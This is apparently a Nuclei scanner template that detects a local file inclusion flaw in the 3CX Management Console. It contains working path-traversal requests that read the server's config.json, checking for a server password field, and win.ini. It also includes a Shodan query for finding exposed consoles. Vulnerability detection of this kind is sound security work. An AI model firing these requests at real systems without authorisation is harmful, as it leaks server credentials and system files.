id: 3cx-management-console

info:
  name: 3CX Management Console - Local File Inclusion
  author: random-robbie
  severity: high
  description: 3CX Management Console is vulnerable to local file inclusion.
  reference:
    - https://medium.com/@frycos/pwning-3cx-phone-management-backends-from-the-internet-d0096339dd88
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
    cpe: cpe:2.3:a:3cx:3cx:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    shodan-query: http.title:"3CX Phone System Management Console"
    product: 3cx
    vendor: 3cx
  tags: 3cx,lfi,voip

http:
  - method: GET
    path:
      - '{{BaseURL}}/Electron/download/windows/..\..\..\Http\webroot\config.json'
      - '{{BaseURL}}/Electron/download/windows/\windows\win.ini'

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "CfgServerPassword"
          - "CfgServerAppName"
        condition: and

      - type: word
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and
# digest: 4a0a0047304502204e4dbb4143445184457bec7aff6cb42c22c461f2ecc40ca856f94fd295a78fe7022100f67f2da39ca0f583426c52d9ba5bfcb35e46cfb7ef0f053a054cd7c501d1e3ab:922c64590222798bb761d5b6d8e72950